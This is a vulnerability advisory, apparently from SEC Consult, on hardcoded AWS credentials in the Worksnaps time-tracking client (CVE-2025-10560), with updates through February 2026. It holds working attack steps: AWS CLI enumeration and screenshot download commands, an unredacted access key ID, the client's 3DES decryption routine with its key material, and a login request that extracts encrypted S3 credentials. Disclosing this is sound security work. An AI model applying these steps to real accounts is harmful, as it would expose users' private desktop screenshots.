Management summary
Hardcoded AWS cloud credentials in the Worksnaps client gave an attacker complete access the Worksnaps AWS infrastructure as AWS root account. An attacker might have gotten access to an AWS buckets with sensitive data, such as screenshots of user desktops.
Vendor description
“We are a small company with strong entrepreneurial spirit. We are here to provide a different way of time tracking, specifically designed for remote work. We believe in small teams, solid development and great design. We believe that no business is too small to serve.” "Worksnaps is a time-tracking system which enable verification of time and work. By using Worksnaps Client, a program running on users' desktop, the users' work activities are sampled and sent to the server. We call them "worksnaps".
Source: https://www.worksnaps.net/www/index.shtml
Source: https://alternativeto.net/software/worksnaps/about/
Business recommendation
The vendor provides a patch which should be installed immediately. The vendor also implemented server-side fixes to remediate some identified issues.
SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.
Vulnerability overview/description
1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)
Several application binaries contained hardcoded credentials, such as AWS access keys and S3 bucket names, which granted access to the production environment.
Those hardcoded AWS cloud credentials in the Worksnaps client gave an attacker complete access the Worksnaps AWS infrastructure as AWS root account. An attacker got access to S3 buckets with sensitive data, such as screenshots of user desktops.
Proof of concept
1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)
After installing the application, there are various binaries in "C:\Program Files (x86)\Worksnaps". Several of those binaries can be analyzed by using the "ILSpy" tool and contain valid credentials. For example the binary procUploadDirect.net45.v2.exe contains the following AWS Credentials:
private const string DEFAULT_AWS_ACCESS_KEY = "[REDACTED]";
private const string DEFAULT_AWS_SECRET_KEY = "[REDACTED]";
private const string DEFAULT_REGION_NAME = "USEast1";
private const string BUCKET_NAME = "bbbb_hyoung";
private static string TEMP_BUCKET_NAME = "temp-prod";
private static string PERM_BUCKET_NAME_FULL = "perm-prod";
private static string PERM_BUCKET_NAME_THUMB = "perm-prod2";
private static RegionEndpoint Region = RegionEndpoint.USEast1; Using these credentials several AWS actions could be performed by an attacker.
First, the identity of the caller can be retrieved with the command "aws sts get-caller-identity":
$ aws sts get-caller-identity
{
"UserId": "227929[REDACTED]",
"Account": "227929[REDACTED]",
"Arn": "arn:aws:iam::227929[REDACTED]:root"
}This shows that the credentials in use are valid and it provides key details about the AWS identity, including the Account ID, User ID, and ARN (Amazon Resource Name) of the entity making the call. Then, all S3 buckets can be listed with the command "aws s3api list-buckets":
$ aws s3api list-buckets
{
"Buckets": [
{
"Name": "aws-cloudtrail-logs-[REDACTED]-ssfull",
"CreationDate": "2022-12-11T06:27:46+00:00"
},
[...]This shows that the credentials in use have sufficient permissions (typically s3:ListAllMyBuckets) to enumerate all S3 buckets associated with the AWS account. The output will include the names and creation dates of each bucket, which can help identify targets of interest for further enumeration or data access. Also, by using the command "describe-instances" an attacker can retrieve detailed information about all EC2 instances in the account:
$ aws ec2 describe-instances
{
"Reservations": [
{
"ReservationId": "[REDACTED]",
"OwnerId": "227929[REDACTED]",
"Groups": [],
"Instances": [
{
"Architecture": "x86_64",
"BlockDeviceMappings": [
{
"DeviceName": "/dev/xvda",
"Ebs": {
"AttachTime": "2019-05-28T02:39:54+00:00",
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId": "[REDACTED]61769"
}
}
],
[...]This shows that the credentials in use have the ec2:DescribeInstances permission, allowing the enumeration of instance metadata such as instance IDs, public and private IP addresses, and more.
Finally, by using "aws s3 cp" an attacker could attempt to copy objects from a target S3 bucket to their local system. In this case one of the generated screenshots is directly fetched from the S3 bucket instead of the web interface. Note: SEC Consult only requested data from our own associated accounts. No data of other customers was accessed.
$ aws s3 cp s3://ssfull-prod/screen_754275513.jpg output.jpg
download: s3://ssfull-prod/screen_754275513.jpg to ./output.jpgThis shows that the credentials in use have sufficient permissions (typically s3:GetObject) to read and download data from the buckets. Since the buckets potentially contain sensitive files, this can lead to significant data exfiltration. UCloud credentials were also discovered alongside the AWS credentials. However, their validity has not been verified:
public static string UCLOUD_PROXY_SUFFIX = ".cn-sh2.ufileos.com";
public static string UCLOUD_PUBLIC_KEY = "[REDACTED]";
public static string UCLOUD_PRIVATE_KEY = "[REDACTED]";
public static string UCLOUD_WORKCARD_BUCKET = "workcard2";
public static string UCLOUD_WORKCARD_BUCKET_FULL = "workcardssfull-dev04";
public static string UCLOUD_WORKCARD_BUCKET_SMALL =
"workcardssrepository-dev04"; Update 2026-01-30
The vendor told us on 2025-12-12 that a new version of the client is available on the website. On 2026-01-30 we downloaded version 1.6.20251206 of the client to re-check the vulnerability.
The originally reported hardcoded AWS cloud credentials were removed from the binary. The original credentials had also been revoked. There still are hardcoded credentials present in the application binaries, but they provide a lower level of access. The following AWS credentials were extracted from UploadTracker.exe:
public const string S3_AccessKey = "AKIAYL45N6SALVDBTCUQ";
public const string S3_SecreKey = "[REDACTED]"The identity associated with the credentials can be retrieved with the command "aws sts get-caller-identity":
$ aws sts get-caller-identity
{
"UserId": "575318914176",
"Account": "575318914176",
"Arn": "arn:aws:iam::575318914176:root"
}SEC Consult did not perform a detailed assessment of the level of permissions of these new credentials. However, at the very least, these credentials do not provide access to the originally discovered S3 buckets with all screenshot data.
The client application now retrieves AWS credentials for the S3 screenshot buckets from the Worksnaps server after logging in. The following code block shows the login request:
POST /mys3/dispatcher.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Worksnaps Client (Windows)
Host: www.worksnaps.net
[...]
action=login&type=windows&username=[REDACTED]&mytime=3201&version=1.6&build=Build+1%2E6%2E20251206&token=[REDACTED]&branding=worksnaps&computername=[REDACTED]&os=W+Version+6%2E2%2E9200+&multiupload=1&use_urlencode=1&username2=[REDACTED]The server responds with the following response data. Note the bucketKey and bucketKey2 fields, which contain encrypted AWS credentials.
HTTP/1.1 200 OK
Server: Apache/2.4.62 (Unix) OpenSSL/1.1.1k
X-Powered-By: PHP/5.6.37
[...]
statuscode=1&sessionkey=[REDACTED]&userid=[REDACTED]&login=[REDACTED]&servertime=1769505670&timediff=1769502469&lb_url=&project=&use_activitytracker=0&use_uploadtracker=0&screenfilter=&appnamefilter=&cachetime=180&capturetimeout=20&directupload=1&directupload_ver=2&uploadurl=http://upload.worksnaps.com/mys3/prod_uploadworksnapscom/u_agent.php|http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php&bucketKey=[REDACTED encrypted bucket key 1]&bucketKey2=[REDACTED encrypted bucket key 2]&bucketName0=sstemp-prod&bucketName1=ssfull-prod&bucketName2=ssrepository-prod&testmode=0&auth_method=token&debug=0&firstslotprobability=-1&httptype=std&sysmessage_title=&sysmessage_body=&sysmessage_shutdown=The encrypted bucketKey can be easily decrypted by extracting the decryption algorithm and corresponding 3DES encryption key from the client binary procUploadDirect.net45.v2.exe using a .NET assembly inspector such as ILSpy:
private static string WORKWELL = "workwell";
private static string AMAZON = "AMAZON";
private static string SUFFIX = "@P66668888";
public static string Decrypt(string input)
{
string text = TripleDESEncryption.WORKWELL
+ TripleDESEncryption.AMAZON
+ TripleDESEncryption.SUFFIX;
string workwell = TripleDESEncryption.WORKWELL;
TripleDES tripleDES = TripleDES.Create();
tripleDES.IV = Encoding.ASCII.GetBytes(workwell);
tripleDES.Key = Encoding.ASCII.GetBytes(text);
tripleDES.Mode = CipherMode.CBC;
tripleDES.Padding = PaddingMode.Zeros;
ICryptoTransform cryptoTransform = tripleDES.CreateDecryptor();
byte[] array = TripleDESEncryption.Decoder(input);
byte[] array2 = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
return Encoding.ASCII.GetString(array2);
}Decrypting the bucketKey using this algorithm once again yields AWS credentials. The identity associated with the credentials can be retrieved with the command "aws sts get-caller-identity":
$ aws sts get-caller-identity
{
"UserId": "AIDATKENJDUESTBAMYUIN",
"Account": "227929562377",
"Arn": "arn:aws:iam::227929562377:user/worksnapss3_10"
}Once again, all accessible S3 buckets can be listed with the command "aws s3api list-buckets":
$ aws s3api list-buckets
{
"Buckets": [
[...]
{
"Name": "ssfull-prod",
"CreationDate": "2011-11-18T23:41:06+00:00",
"BucketArn": "arn:aws:s3:::ssfull-prod"
},
[...]
]
}The credentials also still allow downloading screenshots as demonstrated in the original advisory. Note: SEC Consult only requested data from our own associated accounts. No data of other customers was accessed.
$ aws s3 cp s3://ssfull-prod/screen_754275513.jpg output.jpg
download: s3://ssfull-prod/screen_754275513.jpg to ./output.jpgIn summary the removal of the hardcoded credentials did not improve the situation, as the client now receives credentials with a similarly high level of access during the login process instead.
Update 2026-02-21
The vendor told us on 2026-02-05 that a new version of the client is available on the website. On 2026-02-14 we downloaded version 1.6.20260201 of the client to re-check the vulnerability.
The procUploadDirect.net45.v2.exe is no longer included. The binary procUploadDirectURL.exe is now used to upload the screenshot to the S3 bucket. The required signed AWS upload URL is fetched via the API. It is however possible to still retrieve the encrypted S3 credentials from the API by ommiting or setting the use_puturl parameter during the login request to 0:
POST /mys3/dispatcher.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: www.worksnaps.net
[...]
action=login&type=windows&username=[REDACTED]&mytime=18&version=1.6&build=Build+1%2E6%2E20260201&use_puturl=0&token=[REDACTED]&branding=worksnaps&computername=[REDACTED]&os=W+Version+6%2E2%2E9200+&multiupload=1&use_urlencode=1&username2=[REDACTED]As before, the API responds with the encrypted S3 credentials:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 960
[...]
statuscode=1&sessionkey=[REDACTED]&userid=[REDACTED]&login=[REDACTED]&servertime=[REDACTED]&timediff=[REDACTED]&&project=&use_activitytracker=0&use_uploadtracker=0&screenfilter=&appnamefilter=&cachetime=180&capturetimeout=20&directupload=1&directupload_ver=3&uploadurl=http://upload.worksnaps.com/mys3/prod_uploadworksnapscom/u_agent.php|http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php&bucketKey=[REDACTED bucketKey1]&bucketKey2=[REDACTED bucketKey2]&bucketName0=sstemp-prod&bucketName1=ssfull-prod&bucketName2=ssrepository-prod&testmode=0&auth_method=token&debug=0&firstslotprobability=-1&httptype=std&sysmessage_title=&sysmessage_body=&sysmessage_shutdown=The decryption process is the same as before. After decryption the same AWS credentials as before were obtained. According to the vendor, they implemented further server-side mitigations to fix this issue.
Vulnerable / tested versions
The following versions have been tested:
- Original advisory: Windows client version 1.6.20250304
- Update 2026-01-30: Windows client version 1.6.20251206
- Update 2026-02-21: Windows client version 1.6.20260201
The vendor introduced server-side fixes later on, hence the client version 1.6.20260201 already contains the necessary patches.